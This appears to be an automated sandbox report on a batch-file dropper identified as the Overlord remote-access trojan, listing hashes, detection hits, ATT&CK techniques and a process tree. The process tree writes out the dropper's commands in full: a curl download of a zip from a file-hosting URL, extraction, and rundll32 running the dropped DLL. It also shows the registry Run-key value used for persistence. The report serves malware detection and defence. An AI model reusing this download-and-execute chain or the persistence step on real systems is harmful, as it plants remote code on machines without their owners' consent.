overlord | ce97b675a86bfff5e73e218e8d9d17458857d2328b1b55acd87f644001ca865f

General

Target
ce97b675a86bfff5e73e218e8d9d17458857d2328b1b55acd87f644001ca865f.bat
Size 15KB
Sample261113-wal5qset2s
SHA256 ce97b675a86bfff5e73e218e8d9d17458857d2328b1b55acd87f644001ca865f
MD5 f7824954626d5c89669d778b48102e72
SHA1 da151592e0d823f9996fca4338ae6f925e9d8f06
SHA512 8e9b6208be9ea771dd6c91c9ecc78a00b3bad6f2c3774f3f0cebc5a0ffb69da237d43eee70c859eefb07468f5011ab1257333a3bbd8c8a2b359138dc529a049f
SSDEEP 384:McW6z42RVqR/ybhv0sHMnDnyf/vrFWaDhNa70WdCJE2djbZwnQgwVz/DlvXlO3y:MDm42RVO/IvaGvrFbFs7hdAEWPZIgVzP
TLSH
T11D72B5A9960C4ABE8CB653CFF6368A4513EDF444531ED0D6C8BF87D901AF2B983A7144
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution overlord persistence rat spyware trojan

Malware Config

Signatures

Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Detects Overlord RAT 6 IoCs

resource	yara_rule
behavioral2/memory/4004-5-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord
behavioral2/memory/4004-17-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord
behavioral2/memory/4004-18-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord
behavioral2/memory/4004-19-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord
behavioral2/memory/4004-20-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord
behavioral2/memory/4004-21-0x0000000140000000-0x0000000142ABE000-memory.dmp	family_overlord

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	4004	rundll32.exe
14	4004	rundll32.exe
15	4004	rundll32.exe
16	4004	rundll32.exe
17	4004	rundll32.exe
21	4004	rundll32.exe
22	4004	rundll32.exe
24	4004	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
4004	rundll32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "rundll32.exe \"C:\\Users\\Admin\\AppData\\Local\\Programs\\SysDBRZDK\\comload.dll\",Start"	rundll32.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
6	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
6	api.ipify.org
16	api.ipify.org

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2004	tasklist.exe
4788	tasklist.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5656	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c61900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da66b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	rundll32.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3716	PING.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3716	PING.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4788	tasklist.exe
Token: SeDebugPrivilege	2004	tasklist.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4004	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5656 wrote to memory of 2332	5656	cmd.exe	90
PID 5656 wrote to memory of 1100	5656	cmd.exe	91
PID 5656 wrote to memory of 4788	5656	cmd.exe	92
PID 5656 wrote to memory of 4348	5656	cmd.exe	93
PID 5656 wrote to memory of 4004	5656	cmd.exe	95
PID 5656 wrote to memory of 3716	5656	cmd.exe	96
PID 5656 wrote to memory of 2004	5656	cmd.exe	98
PID 5656 wrote to memory of 908	5656	cmd.exe	99

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ce97b675a86bfff5e73e218e8d9d17458857d2328b1b55acd87f644001ca865f.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5656
- C:\Windows\system32\curl.exe
  curl.exe -s -f -m 60 --connect-timeout 10 -o "C:\Users\Admin\AppData\Local\Programs\SysDBRZDK\z_54ac9d.zip" "https://file.garden/autlsl_4glu4x2U5/c_b8a1b1.zip"
  2⤵
  PID:2332
- C:\Windows\system32\tar.exe
  tar.exe -xf "C:\Users\Admin\AppData\Local\Programs\SysDBRZDK\z_54ac9d.zip" -C "C:\Users\Admin\AppData\Local\Programs\SysDBRZDK"
  2⤵
  PID:1100
- C:\Windows\system32\tasklist.exe
  tasklist /m comload.dll
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\system32\findstr.exe
  findstr /i rundll32
  2⤵
  PID:4348
- C:\Windows\system32\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Programs\SysDBRZDK\comload.dll",Start
  2⤵
  - Badlisted process makes network request
  - Loads dropped DLL
  - Adds Run key to start application
  - Modifies trusted root certificate store through registry
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies system certificate store
  - Suspicious use of FindShellTrayWindow
  PID:4004
- C:\Windows\system32\PING.EXE
  ping -n 8 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3716
- C:\Windows\system32\tasklist.exe
  tasklist /m comload.dll
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\system32\findstr.exe
  findstr /i rundll32
  2⤵
  PID:908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Subvert Trust Controls

2

T1553

Install Root Certificate

2

T1553.004

Credential Access

Discovery

Process Discovery

Query Registry

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

3

T1016

Internet Connection Discovery

2

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

comload.dll

Path C:\Users\Admin\AppData\Local\Programs\SysDBRZDK\comload.dll
Size 114KB
SHA256 ce086046308461189ad9673b59a13d0be4d2fee4ba1043c77624b1386cfecb56
MD5 7e1573274eb16bf29b75bd1dedae258f
SHA1 2c1927733a47fe78592e85ebed02d9197d47b637
SHA512 3f1265f53e5e14440491012de3579179a6fe08e7b94551494575a4fe568692c4083aa13d0caefb6944a5bdda64527006c36362b65876eb1e9972849e3f9c590b
SSDEEP 1536:zEZtOgjbOpUUMXk5C0VZ+QmZH159ph746iqw9ZbWsoLQydZ289P6aGc1NzcwETqz:+tOmI0FphU7vbWsox/HiBgNzETqVxa
TLSH
T150B37D0274839AADD452803486177953DA253C4803344FFB2BF5FA7D7D76AE22EBBA14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

z_54ac9d.zip

Path C:\Users\Admin\AppData\Local\Programs\SysDBRZDK\z_54ac9d.zip
Size 57KB
SHA256 1ed8b19d45105025e3fdcc4fb2d144e4edb130ce4210216751173a2ca0697b91
MD5 52e1d32a0b11e935bda7b89afc72085f
SHA1 fc6a52dce33fe18e18f79eb47a201a6e20d35da3
SHA512 1f031780e214d8fbcd961a6894cc0dba2913aad4acbe23f2c3ed4c5dd78f2853feda055b368bb23d128ea1ec1d06c5c89b862c8820425aaa589676380801b0b9
SSDEEP 1536:NTy3ri9S+KzJj7RHO6qLNT80n6CoRWyaCyn:Ry3ri9LKVfzq3n6ffaCyn
TLSH
T1A343021A31572FEDCFF33153F7C6DE065F9A4B917A08ED04748F82AAA1B578A0518056
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4004-5-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

memory/4004-17-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

memory/4004-18-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

memory/4004-19-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

memory/4004-20-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

memory/4004-21-0x0000000140000000-0x0000000142ABE000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads